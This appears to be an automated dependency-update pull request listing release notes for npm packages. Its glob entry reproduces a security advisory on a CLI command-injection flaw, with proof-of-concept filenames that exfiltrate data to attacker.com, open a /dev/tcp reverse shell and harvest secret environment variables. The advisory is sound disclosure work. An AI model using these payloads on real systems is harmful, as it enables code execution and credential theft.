Version Packages (#129)Bump js-yaml from 3.14.1 to 3.14.2 (#125)fix: add hasOwn check before calling reviver (#128)Version Packages (#127)Add `value` and `root` properties in `DevalueError` instances (#126)Version Packages (#124)Enable support for custom reducer/reviver for "function" values (#123)Version Packages (#119)fix: allow custom revivers to revive things serialized by buitin reducers (#118)Version Packages (#117)chore: Remove impossible `void` type from replacer's `uneval` (#116)Version Packages (#115)feat: pass `uneval` to replacer, for handling nested custom types (#114)chore: simplify NullObject (#104)perf: shrink `uneval` output with null-proto objects (#112)set up OIDC publishing (#111)Version Packages (#109)Merge commit from forkVersion Packages (#108)fix stringify not picking up negative zero if a normal zero has appeared before it (#87)fix pkg.repositoryfix changeset configVersion Packages (#106)mention support for URL/URLSearchParams/Temporal in READMEfeat: support URL and URLSearchParams (#92)Add support for Temporal objects (#98)Version Packages (#103)fix: handle repeated array buffers and subarrays (#105)formattingbumpMerge pull request #102 from sveltejs/install-changesetsinstall changesets (could have sworn i already did this)Merge pull request #95 from pi0/fix/null-proto-classMerge pull request #101 from sveltejs/add-changesets-diradd changesets dirchangesetMerge branch 'main' into pr/95Merge pull request #100 from sveltejs/changesetsgahgahtry downgrading pnpm to 9 for node 16 supportset up changesets (hopefully)fix: handle custom classes with null proto as pojo
↗️ dot-prop (indirect, 9.0.0 → 10.1.0) · Repo
Release Notes
10.1.0
- Add support for array paths in methods 377548f
- Add
parsePath()377548f- Add
stringifyPath()377548f
10.0.0
Breaking
- Require Node.js 20 9710d14
Improvements
- Add support for dot notation array indices 14e9f81
- Add
unflattento expand dot path into nested objects 5e9ea47- TypeScript: Use
unknowninstead ofundefinedfor uncertain return types 60fccd6
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
10.1.0Add `parsePath()` and `stringifyPath()` method, add support for array paths10.0.0Require Node.js 20Minor improvementsAdd support for dot notation array indicesAdd `unflatten` to expand dot path into nested objectsUse `unknown` instead of `undefined` for uncertain return typesAdd more tests
↗️ electron-to-chromium (indirect, 1.5.208 → 1.5.267) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ eslint (indirect, 9.33.0 → 9.39.2) · Repo · Changelog
Release Notes
9.39.2
Bug Fixes
Build Related
Chores
9.39.1
Bug Fixes
Documentation
51b51f4docs: add a section on when to use extends vs cascading (#20268) (Tanuj Kanti)b44d426docs: Update README (GitHub Actions Bot)Chores
92db329chore: update@eslint/jsversion to 9.39.1 (#20284) (Francesco Trotta)c7ebefcchore: package.json update for @eslint/js release (Jenkins)61778f6chore: update eslint-config-eslint dependency @eslint/js to ^9.39.0 (#20275) (renovate[bot])d9ca2fcci: Add rangeStrategy to eslint group in renovate config (#20266) (唯然)009e507test: fix version tests for ESLint v10 (#20274) (Milos Djermanovic)
9.39.0
Features
cc57d87feat: update error loc to key inno-dupe-class-members(#20259) (Tanuj Kanti)126552ffeat: update error location infor-directionandno-dupe-args(#20258) (Tanuj Kanti)167d097feat: updatecomplexityrule to highlight only static block header (#20245) (jaymarvelz)Bug Fixes
15f5c7cfix: forward traversalstep.argsto visitors (#20253) (jaymarvelz)5a1a534fix: allow JSDoc comments in object-shorthand rule (#20167) (Nitin Kumar)e86b813fix: Use more types from @eslint/core (#20257) (Nicholas C. Zakas)927272dfix: correctScopetypings (#20198) (jaymarvelz)37f76d9fix: useAST.Programtype for Program node (#20244) (Francesco Trotta)ae07f0bfix: unify timing report for concurrent linting (#20188) (jaymarvelz)b165d47fix: correctRuletypings (#20199) (jaymarvelz)fb97cdafix: improve error message for missing fix function in suggestions (#20218) (jaymarvelz)Documentation
d3e81e3docs: Always recommend to include a files property (#20158) (Percy Ma)0f0385fdocs: use consistent naming recommendation (#20250) (Alex M. Spieslechner)a3b1456docs: Update README (GitHub Actions Bot)cf5f2dddocs: fix correct tag ofno-useless-constructor(#20255) (Tanuj Kanti)10b995cdocs: add TS options and examples fornofuncinno-use-before-define(#20249) (Tanuj Kanti)2584187docs: remove repetitive word in comment (#20242) (reddaisyy)637216bdocs: update CLI flags migration instructions (#20238) (jaymarvelz)e7cda3bdocs: Update README (GitHub Actions Bot)7b9446fdocs: handle empty flags sections on the feature flags page (#20222) (sethamus)Chores
dfe3c1bchore: update@eslint/jsversion to 9.39.0 (#20270) (Francesco Trotta)2375a6dchore: package.json update for @eslint/js release (Jenkins)a1f4e52chore: update@eslintdependencies (#20265) (Francesco Trotta)c7d3229chore: update dependency @eslint/core to ^0.17.0 (#20256) (renovate[bot])27549bcchore: update fuzz testing to not error if code sample minimizer fails (#20252) (Milos Djermanovic)a1370eeci: bump actions/setup-node from 5 to 6 (#20230) (dependabot[bot])9e7fad4chore: add script to auto-generate eslint:recommended configuration (#20208) (唯然)
9.38.0
Features
ce40f74feat: updatecomplexityrule to only highlight function header (#20048) (Atul Nair)e37e590feat: correctno-loss-of-precisionfalse positives withenotation (#20187) (Francesco Trotta)Bug Fixes
50c3dfdfix: improve type support for isolated dependencies in pnpm (#20201) (Francesco Trotta)a1f06a3fix: correct SourceCode typings (#20114) (Pixel998)Documentation
462675adocs: improve web accessibility by hiding non-semantic character (#20205) (루밀LuMir)c070e65docs: correct formatting inno-irregular-whitespacerule documentation (#20203) (루밀LuMir)b39e71adocs: Update README (GitHub Actions Bot)cd39983docs: movecustom-formatterstype descriptions tonodejs-api(#20190) (Percy Ma)Chores
d17c795chore: upgrade @eslint/js@9.38.0 (#20221) (Milos Djermanovic)25d0e33chore: package.json update for @eslint/js release (Jenkins)c82b5efrefactor: Use types from @eslint/core (#20168) (Nicholas C. Zakas)ff31609ci: add Node.js 25 toci.yml(#20220) (루밀LuMir)004577eci: bump github/codeql-action from 3 to 4 (#20211) (dependabot[bot])eac71fbtest: remove use ofnodejsScopeoption of eslint-scope from tests (#20206) (Milos Djermanovic)4168a18chore: fix typo in legacy-eslint.js (#20202) (Sweta Tanwar)205dbd2chore: fix typos (#20200) (ntnyq)dbb200echore: use team member's username when name is not available in data (#20194) (Milos Djermanovic)8962089chore: mark deprecated rules as available until v11.0.0 (#20184) (Pixel998)
9.37.0
Features
39f7fb4feat:preserve-caught-errorshould recognize all static "cause" keys (#20163) (Pixel998)f81eabcfeat: support TS syntax inno-restricted-imports(#19562) (Nitin Kumar)Bug Fixes
a129ccefix: correctno-loss-of-precisionfalse positives for leading zeros (#20164) (Francesco Trotta)09e04fcfix: add missing AST token types (#20172) (Pixel998)861c6dafix: correctESLinttypings (#20122) (Pixel998)Documentation
b950359docs: fix typos across the docs (#20182) (루밀LuMir)42498a2docs: improve ToC accessibility by hiding non-semantic character (#20181) (Percy Ma)29ea092docs: Update README (GitHub Actions Bot)5c97a04docs: showavailableUntilin deprecated rule banner (#20170) (Pixel998)90a71bfdocs: updateREADMEfiles to add badge and instructions (#20115) (루밀LuMir)1603ae1docs: update references frommastertomain(#20153) (루밀LuMir)Chores
afe8a13chore: update@eslint/jsdependency to version 9.37.0 (#20183) (Francesco Trotta)abee4cachore: package.json update for @eslint/js release (Jenkins)fc9381fchore: fix typos in comments (#20175) (overlookmotel)e1574a2chore: unpin jiti (#20173) (renovate[bot])e1ac05erefactor: markESLint.findConfigFile()asasync, add missing docs (#20157) (Pixel998)347906dchore: update eslint (#20149) (renovate[bot])0cb5897test: remove tmp dir created for circular fixes in multithread mode test (#20146) (Milos Djermanovic)bb99566ci: pinjitito version 2.5.1 (#20151) (Pixel998)177f669perf: improve worker count calculation for"auto"concurrency (#20067) (Francesco Trotta)448b57bchore: Mark deprecated formatting rules as available until v11.0.0 (#20144) (Milos Djermanovic)
9.36.0
Features
Bug Fixes
75b74d8fix: add missing rule option types (#20127) (ntnyq)1c0d850fix: updateeslint-all.jsto useObject.freezeforrulesobject (#20116) (루밀LuMir)7d61b7ffix: add missing scope types toScope.type(#20110) (Pixel998)7a670c3fix: correct rule option typings inrules.d.ts(#20084) (Pixel998)Documentation
b73ab12docs: update examples to usedefineConfig(#20131) (sethamus)31d9392docs: fix typos (#20118) (Pixel998)c7f861bdocs: Update README (GitHub Actions Bot)6b0c08bdocs: Update README (GitHub Actions Bot)91f97c5docs: Update README (GitHub Actions Bot)Chores
12411e8chore: upgrade @eslint/js@9.36.0 (#20139) (Milos Djermanovic)488cba6chore: package.json update for @eslint/js release (Jenkins)bac82a2ci: simplify renovate configuration (#19907) (唯然)c00bb37ci: bump actions/labeler from 5 to 6 (#20090) (dependabot[bot])fee751drefactor: usedefaultOptionsin rules (#20121) (Pixel998)1ace67dchore: update example to usedefineConfig(#20111) (루밀LuMir)4821963test: add missing loc information to error objects in rule tests (#20112) (루밀LuMir)b42c42echore: disallow use of deprecatedtypeproperty in core rule tests (#20094) (Milos Djermanovic)7bb498dtest: remove deprecatedtypeproperty from core rule tests (#20093) (Pixel998)e10cf2aci: bump actions/setup-node from 4 to 5 (#20089) (dependabot[bot])5cb0ce4refactor: usemeta.defaultOptionsinpreserve-caught-error(#20080) (Pixel998)f9f7cb5chore: package.json update for eslint-config-eslint release (Jenkins)81764b2chore: updateeslintpeer dependency ineslint-config-eslint(#20079) (Milos Djermanovic)
9.35.0
Features
42761fafeat: implement suggestions for no-empty-function (#20057) (jaymarvelz)102f444feat: implement suggestions for no-empty-static-block (#20056) (jaymarvelz)e51fffffeat: addpreserve-caught-errorrule (#19913) (Amnish Singh Arora)Bug Fixes
10e7ae2fix: update uncloneable options error message (#20059) (soda-sorcery)bfa4601fix: ignore empty switch statements with comments in no-empty rule (#20045) (jaymarvelz)dfd11defix: addbeforeandafterto test case types (#20049) (Francesco Trotta)dabbe95fix: correct types forno-restricted-importsrule (#20034) (Milos Djermanovic)ea789c7fix: no-loss-of-precision false positive with uppercase exponent (#20032) (sethamus)Documentation
d265515docs: improve phrasing - "if" → "even if" from getting-started section (#20074) (jjangga0214)a355a0edocs: invert comparison logic for example inno-vardoc page (#20064) (OTonGitHub)5082fc2docs: Update README (GitHub Actions Bot)99cfd7edocs: add missing "the" in rule deprecation docs (#20050) (Josh Goldberg ✨)6ad8973docs: update--no-ignoreand--ignore-patterndocumentation (#20036) (Francesco Trotta)8033b19docs: add documentation for--no-config-lookup(#20033) (Francesco Trotta)Chores
da87f2fchore: upgrade @eslint/js@9.35.0 (#20077) (Milos Djermanovic)af2a087chore: package.json update for @eslint/js release (Jenkins)7055764test: removetests/lib/eslint/eslint.config.js(#20065) (Milos Djermanovic)84ffb96chore: update@eslint-community/eslint-utils(#20069) (Francesco Trotta)d5ef939refactor: remove deprecatedcontext.parserOptionsusage across rules (#20060) (sethamus)1b3881dchore: remove redundant word (#20058) (pxwanglu)
9.34.0
Features
0bb777afeat: multithread linting (#19794) (Francesco Trotta)43a5f9efeat: add eslint-plugin-regexp to eslint-config-eslint base config (#19951) (Pixel998)Bug Fixes
9b89903fix: default value of accessor-pairs option in rule.d.ts file (#20024) (Tanuj Kanti)6c07420fix: fix spurious failure in neostandard integration test (#20023) (Kirk Waiblinger)676f4acfix: allow scientific notation with trailing zeros matching exponent (#20002) (Sweta Tanwar)Documentation
0b4a590docs: make rulesdir deprecation clearer (#20018) (Domenico Gemoli)327c672docs: Update README (GitHub Actions Bot)bf26229docs: Fix typo in core-concepts/index.md (#20009) (Tobias Hernstig)2309327docs: fix typo in the "Configuring Rules" section (#20001) (ghazi-git)2b87e21docs: [no-else-return] clarify sample code. (#19991) (Yuki Takada (Yukinosuke Takada))c36570cdocs: Update README (GitHub Actions Bot)Chores
f19ad94chore: upgrade to@eslint/js@9.34.0(#20030) (Francesco Trotta)b48fa20chore: package.json update for @eslint/js release (Jenkins)4bce8a2chore: package.json update for eslint-config-eslint release (Jenkins)0c9999crefactor: prefer default options ingrouped-accessor-pairs(#20028) (루밀LuMir)d503f19ci: fixstale.yml(#20010) (루밀LuMir)e2dc67dci: centralizestale.yml(#19994) (루밀LuMir)7093cb8ci: bump actions/checkout from 4 to 5 (#20005) (dependabot[bot])
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ fdir (indirect, 6.4.4 → 6.5.0) · Repo
Release Notes
6.5.0
This release brings a lot of cool stuff:
ESM support
fdir now includes esm builds in addition to the commonjs build.
Thanks to @TheAlexLichter in #147
Node v12 support (is back!)
fdir v6.4.6 broke Node v12 & v14 compatibility as it made use of AbortController. We have now replaced AbortController with an in-house solution that should bring back support for Node v12.
Additionally, fdir now has the
enginesfield set to>=12to make it super clear what versions of Node we support.Thanks to @SuperchupuDev & @benmccann for bringing this up and helping me test this!
Custom FS
Huge thanks to @43081j for adding support for this. You can now pass a custom FS module and fdir will make use of it instead of the Node.js
fsmodule.You can use it like so:
const api = new fdir({ fs: fakeFs, }).crawl("node_modules");The
fsproperty expects the following methods:export type FSLike = { readdir: typeof nativeFs.readdir; readdirSync: typeof nativeFs.readdirSync; realpath: typeof nativeFs.realpath; realpathSync: typeof nativeFs.realpathSync; stat: typeof nativeFs.stat; statSync: typeof nativeFs.statSync; };Other changes
- perf: use
sliceinstead ofreplacewhen joining path by @SuperchupuDev in #152- fix: support
@types/picomatchv4 by @SuperchupuDev in #156New Contributors
- @TheAlexLichter made their first contribution in #147
Full Changelog: v6.4.6...v6.5.0
6.4.6
What's Changed
- fix: do not stop crawling at
currentDepth0 by @SuperchupuDev in #149Full Changelog: v6.4.5...v6.4.6
6.4.5
What's Changed
Full Changelog: v6.4.4...v6.4.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
chore: bump version to 6.5.0chore: update lockfilechore: set engines field (#159)build: set up tsdown for dual build (#147)fix: support `@types/picomatch` v4fix: use `||` instead of `??` for node 12 compatchore: run formatfeat: support custom fstest: minor refactorfix: drop AbortController as it breaks fdir on Node v14perf: use `slice` instead of `replace` when joining path (#152)chore: bump version to 6.4.6fix: do not stop crawling at `currentDepth` 0 (#149)chore: bump version to v6.4.5fix: handle `C:/` on windowsfix: ensure callback is called only once (#144)chore: only test against node@16 & node@24 (#145)
↗️ fraction.js (indirect, 4.3.7 → 5.3.4) · Repo · Changelog
↗️ get-port-please (indirect, 3.1.2 → 3.2.0) · Repo · Changelog
Release Notes
3.2.0
🚀 Enhancements
- Add unix domain socket utils (#110)
🩹 Fixes
- validateHostname: Add
169.254.0.0/16range to not allowed hostnames (#101)✅ Tests
- Mock
console.logimplementation in error tests (#104)❤️ Contributors
- Pooya Parsa (@pi0)
- João Carmona (@jpsc)
- Sam Bostock (@sambostock)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): v3.2.0feat: add unix domain socket utils (#110)chore: update depschore(deps): update all non-major dependencies (#109)chore(deps): update all non-major dependencies (#96)fix(validateHostname): add `169.254.0.0/16` range to not allowed hostnames (#101)test: mock `console.log` implementation in error tests (#104)chore(deps): update codecov/codecov-action action to v5 (#103)ci: fix corepackchore: update repochore(deps): update pnpm to v9 (#92)chore(deps): update all non-major dependencies to ^1.5.2chore(deps): update all non-major dependencieschore(deps): update devdependency @types/node to ^20.12.2chore(deps): update all non-major dependencieschore(deps): update all non-major dependencieschore(deps): update all non-major dependencieschore(deps): update all non-major dependencieschore(deps): update all non-major dependencieschore(deps): update all non-major dependencieschore(deps): update all non-major dependencies
↗️ glob (indirect, 10.4.5 → 10.5.0) · Repo · Changelog
Security Advisories 🚨
🚨 glob CLI: Command injection via -c/--cmd executes matches with shell:true
Summary
The glob CLI contains a command injection vulnerability in its
-c/--cmdoption that allows arbitrary command execution when processing files with malicious names. Whenglob -c <command> <patterns>is used, matched filenames are passed to a shell withshell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.Details
Root Cause:
The vulnerability exists insrc/bin.mts:277where the CLI collects glob matches and executes the supplied command usingforegroundChild()withshell: true:stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))Technical Flow:
- User runs
glob -c <command> <pattern>- CLI finds files matching the pattern
- Matched filenames are collected into an array
- Command is executed with matched filenames as arguments using
shell: true- Shell interprets metacharacters in filenames as command syntax
- Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affected- Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc.- Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using
glob -con untrusted contentPoC
Setup Malicious File:
mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)'Trigger Vulnerability:
# Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"Result:
- The echo command executes normally
- Additionally: The
$(touch injected_poc)in the filename is evaluated by the shell- A new file
injected_pocis created, proving command execution- Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'Impact
Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses
glob -cto process files (linting, testing, deployment)- Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use
glob -cfor file processing- Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
- POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
- Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
- Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts)- Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption)- Patched versions: 11.1.0and 10.5.0
Scope Limitation:
- Library API Not Affected: Core glob functions (
glob(),globSync(), async iterators) are safe- CLI-Specific: Only the command-line interface with
-c/--cmdoption is vulnerableRemediation
- Upgrade to
glob@10.5.0,glob@11.1.0, or higher, as soon as possible.- If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead.- As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Commits
See the full diff on Github. The new version differs by 2 commits:
↗️ globby (indirect, 14.1.0 → 15.0.0) · Repo
Release Notes
15.0.0
Breaking
- Require Node.js 20 4ae42c8
Fixes
- Fix
expandDirectoriesnot working with globstar patterns 98d691a- Fix relative paths with gitignore option b4d78d8
- Fix gitignore patterns in subdirectories not applying recursively 2cb6088
- Fix TypeScript types for
globbyStreamto correctly yield strings 1c7f3ed
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
15.0.0Require Node.js 20Fix `expandDirectories` not working with globstar patternsFix relative paths with gitignore optionFix gitignore patterns in subdirectories not applying recursivelyDocument performance implications of `gitignore` optionFix TypeScript types for `globbyStream` to correctly yield strings
↗️ h3 (indirect, 1.15.3 → 1.15.4) · Repo · Changelog
Release Notes
1.15.4
🩹 Fixes
- getRequestHost: Return first host from
x-forwarded-host(#1175)💅 Refactors
- useSession: Backport
SessionManagerinterface to fix types (#1058)🏡 Chore
- docs: Fix typos (#1108)
❤️ Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ http-errors (indirect, 2.0.0 → 2.0.1) · Repo · Changelog
Release Notes
2.0.1
What's Changed
- Add support for OSSF scorecard reporting by @carpasse in #107
- refactor: improve
toClassNamefunction readability and JSDoc completeness by @Ayoub-Mabrouk in #112- chore: upgrade scorecard workflow pinned action versions by @carpasse in #113
- Add test for extending native errors w/o altering prototype by @jonchurch in #106
- remove --bail from test script by @jonchurch in #114
- [StepSecurity] Apply security best practices by @step-security-bot in #116
- build(deps): bump actions/checkout from 2.7.0 to 4.2.2 by @dependabot[bot] in #117
- build(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.2 by @dependabot[bot] in #118
- build(deps): bump coverallsapp/github-action from 1.2.5 to 2.3.6 by @dependabot[bot] in #119
- build(deps): bump actions/upload-artifact from 4.5.0 to 4.6.2 by @dependabot[bot] in #121
- build(deps): bump github/codeql-action from 3.27.9 to 3.28.18 by @dependabot[bot] in #123
- fix: use
ubuntu-latestas ci runner by @UlisesGascon in #124- remove --bail by @jonchurch in #125
- deps: update statuses and switch fixed versions to tilde (~) by @Phillip9587 in #126
- chore: add funding to package.json by @Phillip9587 in #130
- build(deps): bump github/codeql-action from 3.28.18 to 3.29.5 by @dependabot[bot] in #131
- ci: add nodejs v18 - v24 to test matrix by @Phillip9587 in #127
- build(deps-dev): bump eslint-plugin-import from 2.25.3 to 2.32.0 by @dependabot[bot] in #129
- build(deps): bump github/codeql-action from 3.29.7 to 3.29.11 by @dependabot[bot] in #133
- build(deps): bump actions/checkout from 4.2.2 to 5.0.0 by @dependabot[bot] in #132
- build(deps): bump actions/upload-artifact from 4.6.2 to 5.0.0 by @dependabot[bot] in #138
- build(deps): bump github/codeql-action from 3.29.11 to 4.31.2 by @dependabot[bot] in #137
- build(deps): bump ossf/scorecard-action from 2.4.2 to 2.4.3 by @dependabot[bot] in #134
- Release: 2.0.1 by @UlisesGascon in #140
New Contributors
- @Ayoub-Mabrouk made their first contribution in #112
- @jonchurch made their first contribution in #106
- @step-security-bot made their first contribution in #116
- @dependabot[bot] made their first contribution in #117
- @UlisesGascon made their first contribution in #124
- @Phillip9587 made their first contribution in #126
Full Changelog: v2.0.0...v2.0.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 27 commits:
2.0.1 (#140)build(deps): bump ossf/scorecard-action from 2.4.2 to 2.4.3 (#134)build(deps): bump github/codeql-action from 3.29.11 to 4.31.2 (#137)build(deps): bump actions/upload-artifact from 4.6.2 to 5.0.0 (#138)build(deps): bump actions/checkout from 4.2.2 to 5.0.0 (#132)build(deps): bump github/codeql-action from 3.29.7 to 3.29.11 (#133)build(deps-dev): bump eslint-plugin-import from 2.25.3 to 2.32.0 (#129)ci: add nodejs v18 - v24 to test matrix (#127)build(deps): bump github/codeql-action from 3.28.18 to 3.29.5 (#131)chore: add funding to package.json (#130)deps: update statuses and switch fixed versions to tilde (~) (#126)remove --bail (#125)fix: use `ubuntu-latest` as ci runner (#124)build(deps): bump github/codeql-action from 3.27.9 to 3.28.18 (#123)build(deps): bump actions/upload-artifact from 4.5.0 to 4.6.2 (#121)build(deps): bump coverallsapp/github-action from 1.2.5 to 2.3.6 (#119)build(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.2 (#118)build(deps): bump actions/checkout from 2.7.0 to 4.2.2 (#117)ci: apply security best practices (#116)remove --bail from test script (#114)Add test for extending native errors w/o altering prototype (#106)Merge pull request #113 from carpasse/chore/update_scorcard_pinned_versionschore: upgrade scorecard workflow pinned action versionsrefactor: improve toClassName function readability and JSDoc completenessMerge pull request #107 from carpasse/tools/ossf-scorecardchore: add scorecard pipelineci: fix tests in node 8 & 9
↗️ ioredis (indirect, 5.6.1 → 5.8.2) · Repo · Changelog
Release Notes
5.8.2
5.8.2 (2025-10-21)
Bug Fixes
5.8.1
5.8.1 (2025-10-06)
Bug Fixes
5.8.0
5.8.0 (2025-09-23)
Bug Fixes
Features
5.7.0
5.7.0 (2025-07-31)
Bug Fixes
Features
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
chore(release): 5.8.2 [skip ci]fix: move CLIENT SETINFO commands to connection handshake (#2033)ci(test): add redis matrix and update docker compose file (#2034)docs(example): add example for setting TTL to "HSET Field" (#2027)fix: default IP family selection to 0 (#2028)chore(release): 5.8.1 [skip ci]test: add scenario tests v5 (#2020)fix(ssubscribe): re-subscribe sharded pubsub channels individually (#2021)chore(release): 5.8.0 [skip ci]feat: support client setinfo (#2011)feat(stream): Add XDELEX command (#2003)Add stale issue management workflow (#2018)feat: implement proper hpexpire command signatures and tests (#2006)feat: add more xtrim method overloads and tests (#2010)test(cluster): fix and add cluster tests in CI (#2017)Force slots refresh on MOVED error when using ssubscribe (#2013)fix(ssubscribe): re-subscribe sharded pubsub channels individually on ready (#2012)chore(release): 5.7.0 [skip ci]fix: xread example for TypeScript (#1872)feat: Implement hexpire for #1898 (#1918)fix/docs(readme): javascript truthy shenanigans (#1976)Update README.md to accurately describe silent `error` event (#1991)Updated connect method docs (#1990)
↗️ jiti (indirect, 2.4.2 → 2.6.1) · Repo · Changelog
Release Notes
2.6.1
🩹 Fixes
- interop: Only passthrough default if it is not a promise (#408)
📦 Build
- Revert to
terser-webpack-plugin(#407)❤️ Contributors
- Kricsleo (@kricsleo)
2.6.0
🌟 What is new?
This release fixes minor issues, migrates to Rspack for dist, and lazily imports the Babel transformer only when needed, which should noticeably improve startup times.
- Install size reduced from
2.03MBto1.67MB- Loading times improved
150ms=>22ms(full transform:180ms=>115ms)🔥 Performance
- Lazy load transformer (#405)
🩹 Fixes
- cjs-interop: Handle function default exports (#396)
- Always use native require/import for
node:specifiers (#392)📦 Build
✅ Tests
- Update deno and bun native test coverage (df844f8)
❤️ Contributors
- Pooya Parsa (@pi0)
- Volodymyr Kolesnykov (@sjinks)
- Jungwoo LEE (@jungwoo3490)
2.5.1
🩹 Fixes
- interop: Passthrough module if it is a promise (#389)
2.5.0
🚀 Enhancements
- Use
sha256for cache entries in FIPS mode (#375)- Support
rebuildFsCache(JITI_REBUILD_FS_CACHE) (#379)🩹 Fixes
- Interop modules with null/undefined default export (#377)
- Handle
require(<json>)in register mode (#374)📦 Dependencies
- Updated bundled dependencies (compare changes)
📖 Docs
- Add defaults in JSDocs (#365)
✅ Tests
- Only include src for coverage report (#372)
❤️ Contributors
- Kricsleo (@kricsleo) 🌟
- Pooya Parsa (@pi0)
- Kanon (@ysknsid25)
- Arya Emami (@aryaemami59)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 34 commits:
chore(release): v2.6.1chore: remove unused codechore: update depsbuild: revert to `terser-webpack-plugin` (#407)fix(interop): only passthrough default if it is not a promise (#408)chore: update benchchore(release): v2.6.0perf: lazy load babel transform (#405)fix: always use native for `node:` specifiers (#392)fix(cjs-interop): handle function default exports (#396)build: migrate to rspack (#404)test: new bench scripttest: update deno and bun native test ignoreschore: update depschore(deps): update all non-major dependencies (#393)chore(deps): update actions/checkout action to v5 (#394)chore(deps): update actions/setup-node action to v5 (#399)chore(release): v2.5.1fix(interop): passthrough module if it is a promise (#389)chore(release): v2.5.0fix(register): handle `require(<json>)` (#374)fix: interop modules with nil default export (#377)feat: `rebuildFsCache` ( `JITI_REBUILD_FS_CACHE`) (#379)feat: use `sha256` for cache entries in fips mode (#375)chore: update snapshottest: only include src for coverage report (#372)chore(deps): update autofix-ci/action digest to 635ffb0 (#385)chore: lintchore: update depschore: add defaults in JSDocs (#365)chore(deps): update autofix-ci/action digest to 551dded (#358)chore: update depstest: update snapshotchore: update ci
↗️ knitwork (indirect, 1.2.0 → 1.3.0) · Repo · Changelog
Release Notes
1.3.0
🚀 Enhancements
- Add
genDynamicTypeImport(#125)🩹 Fixes
- Remove commas in module augmentation (#114)
❤️ Contributors
- 山吹色御守 (@KazariEX)
- Bobbie Goede (@BobbieGoede)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
chore(release): v1.3.0chore(deps): update vitest monorepo to v4 (major) (#128)chore(deps): update actions/setup-node action to v6 (#127)feat: add `genDynamicTypeImport` (#125)chore(deps): update all non-major dependencies (#126)chore(deps): update all non-major dependencies (#124)chore(deps): update vitest monorepo to v3 (#106)chore(deps): update actions/checkout action to v5 (#119)chore(deps): update actions/setup-node action to v5 (#121)chore(deps): update pnpm to v10 (#107)fix: remove commas in module augmentation (#114)chore(deps): update devdependency eslint to ^9.35.0 (#122)chore(deps): update all non-major dependencies (#120)chore(deps): update all non-major dependencies (#118)chore(deps): update autofix-ci/action digest to 635ffb0 (#117)chore(deps): update all non-major dependencies (#116)chore(deps): update all non-major dependencies (#104)chore(deps): update devdependency esbuild to ^0.25.0 [security] (#109)chore(deps): update devdependency vitest to v2.1.9 [security] (#108)chore(deps): update autofix-ci/action digest to 551dded (#105)chore(deps): update all non-major dependencies (#103)
↗️ launch-editor (indirect, 2.10.0 → 2.12.0) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ local-pkg (indirect, 1.1.1 → 1.1.2) · Repo
Release Notes
1.1.2
No significant changes
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 3 commits:
↗️ magic-string (indirect, 0.30.17 → 0.30.21) · Repo · Changelog
Release Notes
0.30.21
No significant changes
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
